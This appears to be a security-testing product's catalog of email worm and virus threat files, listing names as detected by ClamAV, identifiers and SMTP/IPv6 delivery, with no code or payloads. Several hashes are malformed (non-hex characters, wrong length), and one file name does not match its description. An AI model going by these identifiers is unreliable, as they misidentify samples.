Executive Description:	Email Virus Email-Worm.VBS.Zimac.zim
Detailed Description:	This is the email virus Email-Worm.VBS.Zimac.zim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zimac.zim. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Titel.c3d48c9d_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Titel (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Titel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3d48c9decdf70dbce26362453ab46. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sonic.55.ca569c37_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.55 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.55 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca569c3756b93860df821d8a81930124. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Lubus.A.255d745f.xml
Executive Description:	Email Virus VBS.Lubus.A
Detailed Description:	This is the email virus VBS.Lubus.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 255d745fade35452be848781ab89db93. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Ymale.4f4acb65_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Ymale (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Ymale as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f4acb65efd63e4855a307993a7bda57. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Brid.6b58f116_IPv6.xml
Executive Description:	Email Virus W32.Worm.Brid (IPv6 Version)

Detailed Description:	This is the email virus W32.Worm.Brid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b58f116153ebeac4920102d911c2a8d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.252665b8.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 252665b81d2803589033ce289ad2d742. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Luna.B.1d4d25a1_IPv6.xml
Executive Description:	Email Virus Worm.Luna.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d4d25a1cffee604e50d6880ea87307d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Magistr.B.poly.0cd0a719.xml
Executive Description:	Email Virus Worm.Magistr.B.poly
Detailed Description:	This is the email virus Worm.Magistr.B.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0cd0a719f9f91630de366c54c427a834. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fizzer.A.a89c0ed6.xml
Executive Description:	Email Virus Worm.Fizzer.A
Detailed Description:	This is the email virus Worm.Fizzer.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a89c0ed6ef75179adb6f52240102b9b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ad24c8f4_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ad24c8f497d9fdd96408efb2dlc32226. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.E.c8ebbbe8_IPv6.xml
Executive Description:	Email Virus Worm.Without.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Without.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8ebbbe8ce140adb076251035293e01e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.o.o.9c9070bb.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.o.o
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.o.o as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.o.o. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Claus.88952561_IPv6.xml
Executive Description:	Email Virus Worm.Claus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Claus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 889525610bcbeaf20f389ce7c64e99fe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hotlix.eeb26ae0_IPv6.xml
Executive Description:	Email Virus Worm.Hotlix (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hotlix as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eeb26ae0543621d8fb6565fb1c2ae02f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4c136071.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c136071ba423c576f7a4b7668860593. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.4bd22144_IPv6.xml

Executive Description:	Email Virus Worm.VBS.Frido (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Frido as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bd2214406ad8a72a8351c07b08923c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Avoner.A.3354ef97.xml
Executive Description:	Email Virus Worm.Avoner.A
Detailed Description:	This is the email virus Worm.Avoner.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3354ef976cdce679c3cf821ad52c9a59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Decbel.4ab4ae3f.xml
Executive Description:	Email Virus Worm.VBS.Decbel
Detailed Description:	This is the email virus Worm.VBS.Decbel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ab4ae3fa8a5f6ad2edf81b59bf7ea6b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fanker.16d945b2.xml
Executive Description:	Email Virus Worm.Fanker
Detailed Description:	This is the email virus Worm.Fanker as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 16d945b2bc811fe63d05be4bb41a6261. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Loding.b.a4dc18d1.xml
Executive Description:	Email Virus Worm.Loding.b
Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4dc18d14a4e5b22405aceb1cd716368. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.bcde20ab_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bcde20ab1f4b344004e81d125036096b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.ed9a8cd4_IPv6.xml
Executive Description:	Email Virus Worm.Choke.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed9a8cd4db8e74214d59742d95ae2314. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AI.dc44c93d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AI (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dc44c93d5a73c01ccf90bae58bb13033. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Iwing.b.d6de7cb9_IPv6.xml
Executive Description:	Email Virus Worm.Iwing.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Iwing.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6de7cb913d97adb828a3e18097083ee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Lamerone.f23505a1.xml
Executive Description:	Email Virus VBS.Lamerone
Detailed Description:	This is the email virus VBS.Lamerone as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23505a1be458284f34acd3b876f59a2e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sdan.b.526fc860_IPv6.xml
Executive Description:	Email Virus Worm.Sdan.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sdan.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 526fc860be3ac152bace5879d6f95fa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Horty.A.dda67ba3.xml
Executive Description:	Email Virus Worm.Horty.A
Detailed Description:	This is the email virus Worm.Horty.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dda67ba3f4dccb1fec7a3d7edd0c2649d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Falckon.a.a.ef67a01b_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Falckon.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Falckon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Falckon.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.8fc6b90c_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fc6b90cd64fa042116d96273e08f343. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.MTX.0c4158a6.xml
Executive Description:	Email Virus W32.MTX
Detailed Description:	This is the email virus W32.MTX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c4158a6169d9d3674359a4af4e466c8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.vil.elb7d861_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.vil (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.vil as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.vil. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Firstpart.fd4f33a7.xml
Executive Description:	Email Virus JS.Firstpart
Detailed Description:	This is the email virus JS.Firstpart as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd4f33a7cb2e39945765c8431722d22f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-2.ff05ddc0_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff05ddc00c74ef41157a2552af455e59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lynder.b9fb4176.xml
Executive Description:	Email Virus Worm.Lynder
Detailed Description:	This is the email virus Worm.Lynder as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9fb4176489b0affb5b3f72a39618620. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Merkur.b.b.13a37ee0.xml
Executive Description:	Email Virus Email-Worm.Win32.Merkur.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Merkur.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Merkur.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.95bfa05c_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95bfa05cb28ccd2bc9218505146d0b39. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.PSW.Hooker.Based.15c2f7ec_IPv6.xml
Executive Description:	Email Virus Trojan.PSW.Hooker.Based (IPv6 Version)
Detailed Description:	This is the email virus Trojan.PSW.Hooker.Based as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15c2f7ece2c6647c5e45608e39b08e34. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Newpic.c.c.22d01826_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Newpic.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Newpic.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newpic.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.853d9d8f.xml
Executive Description:	Email Virus Worm.Bagle.Z
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 853d9d8fb616ee18b774c3c2e8953f4f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Numgame.num.d06636e3.xml
Executive Description:	Email Virus Email-Worm.VBS.Numgame.num
Detailed Description:	This is the email virus Email-Worm.VBS.Numgame.num as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Numgame.num. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.5f643093.xml
Executive Description:	Email Virus Worm.Sonic.27
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f643093bc89231a9a37939c88710bd8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.01505ec7_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01505ec7edcee9518aa937d7bcla3ad2b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Repah.a.3b7622cc_IPv6.xml
Executive Description:	Email Virus Worm.Repah.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3b7622cc2d22f974db01d10b6048ea0f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.X.2eaf40e4_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.X (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2eaf40e4458668823f0c522ec6f537b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.955ab5ea_IPv6.xml
Executive Description:	Email Virus VBS.Platnico (IPv6 Version)
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 955ab5ea35f362e508efdc3709ebb397. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Music.A.6f0e9a9b.xml
Executive Description:	Email Virus Worm.Music.A
Detailed Description:	This is the email virus Worm.Music.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f0e9a9bcc392a00ffd93772d0e84251. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.ProLin.65eeb8a0.xml
Executive Description:	Email Virus W32.ProLin
Detailed Description:	This is the email virus W32.ProLin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65eeb8a0fce412d7f236f8348357d1c0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WXP.Kallisti.b7f7ed86.xml
Executive Description:	Email Virus WXP.Kallisti
Detailed Description:	This is the email virus WXP.Kallisti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7f7ed86d457fec2493db21e8886b981. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Watcher.0d4e3923.xml
Executive Description:	Email Virus Worm.Watcher
Detailed Description:	This is the email virus Worm.Watcher as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0d4e392353458ae2bb01202be7d96019. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Trilisa.68bf3c74_IPv6.xml
Executive Description:	Email Virus W32.Trilisa (IPv6 Version)
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68bf3c74bd760ecbea0cb633bd2f5a92. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anar.b.b.9ace2649.xml
Executive Description:	Email Virus Email-Worm.Win32.Anar.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Anar.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anar.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Batwin.5cfaa0bf_IPv6.xml
Executive Description:	Email Virus Worm.Batwin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Batwin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5cfaa0bfe9c643550eee6ae105ed813e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.I.0f00a007.xml
Executive Description:	Email Virus Worm.Bagle.I
Detailed Description:	This is the email virus Worm.Bagle.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0f00a0070e21ae0915dd79eafd42b975. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.F.d39fe366.xml
Executive Description:	Email Virus Worm.Sobig.F
Detailed Description:	This is the email virus Worm.Sobig.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d39fe3661843d69fbb9bb9b9b4264a24. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kuasa.B.51d3clf7.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51d3clf7120db362418213f3e360bab8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sucon.c.c.6c4eac16_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Sucon.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Sucon.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sucon.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.22f21bd1.xml
Executive Description:	Email Virus Worm.LoveLetter
Detailed Description:	This is the email virus Worm.LoveLetter as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 22f21bd1e3d6e02f89b15982fc9b7310. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tenebris.ten.a6aebdfc.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tenebris.ten
Detailed Description:	This is the email virus Email-Worm.MSWord.Tenebris.ten as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tenebris.ten. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sabia.97dcff7b.xml
Executive Description:	Email Virus Worm.Sabia
Detailed Description:	This is the email virus Worm.Sabia as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97dcff7b176835b15427b15a73c6448c. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.e4995453_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Yumao (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4995453ldcae4bdf84db0472e73198c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.X.6506075d_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.X (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lovgate.X as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6506075de6070dabdd807048f44052f5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.abf4792b_IPv6.xml
Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: abf4792b65c116adca701f92b49cb421. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Pereban.b.b.336b2f0f.xml
Executive Description:	Email Virus Email-Worm.Win32.Pereban.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Pereban.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Pereban.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unis.B.bdlac3a7_IPv6.xml
Executive Description:	Email Virus Worm.Unis.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bdlac3a7f01019ba31243ab76e3849e9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.ZWMVC.zwm.6cf6479f.xml
Executive Description:	Email Virus Email-Worm.MSWord.ZWMVC.zwm
Detailed Description:	This is the email virus Email-Worm.MSWord.ZWMVC.zwm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.ZWMVC.zwm. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.IWorm.Lee.I.5ae2dclb.xml
Executive Description:	Email Virus VBS.IWorm.Lee.I
Detailed Description:	This is the email virus VBS.IWorm.Lee.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ae2dclb157cadaecb055dc264d0f3dd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AV.fb898bd3.xml
Executive Description:	Email Virus Worm.LoveLetter.AV
Detailed Description:	This is the email virus Worm.LoveLetter.AV as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb898bd3b632f2d439d0acbe59dbeee2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Liberte.c2eba4b8.xml
Executive Description:	Email Virus Worm.Liberte
Detailed Description:	This is the email virus Worm.Liberte as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c2eba4b847667aff3d176elf5e310791. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.d.d.4a01a7d0.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.d.d
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Calposa.492cb47d_IPv6.xml
Executive Description:	Email Virus Worm.Calposa (IPv6 Version)

Detailed Description:	This is the email virus Worm.Calposa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 492cb47d844368063828cd74c5185a1f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kagra.ac087b23.xml
Executive Description:	Email Virus Worm.Kagra
Detailed Description:	This is the email virus Worm.Kagra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac087b236f3baecb2abde6bb56176256. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.R.5bbb322a.xml
Executive Description:	Email Virus Worm.SomeFool.R
Detailed Description:	This is the email virus Worm.SomeFool.R as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5bbb322a70a6a248369f45ece8d9e79b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trood.47d1f48a_IPv6.xml
Executive Description:	Email Virus Worm.Trood (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trood as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 47d1f48a127736e63aad709ddc9d81d0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ef314983_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef314983f99a9e1cb350986f41f9acd9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Unicle.57171666.xml
Executive Description:	Email Virus Worm.Unicle
Detailed Description:	This is the email virus Worm.Unicle as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5717166651a2059668c2389f02537b3d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Mixor.q.4adf7a37_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Trilissa.h.h.fb6e7488.xml
Executive Description:	Email Virus Email-Worm.Win32.Trilissa.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Trilissa.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Trilissa.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sysnom.94c40237_IPv6.xml
Executive Description:	Email Virus Worm.Sysnom (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sysnom as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94c40237c0b9929e806cca9293dla825. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorda.d77119bc.xml
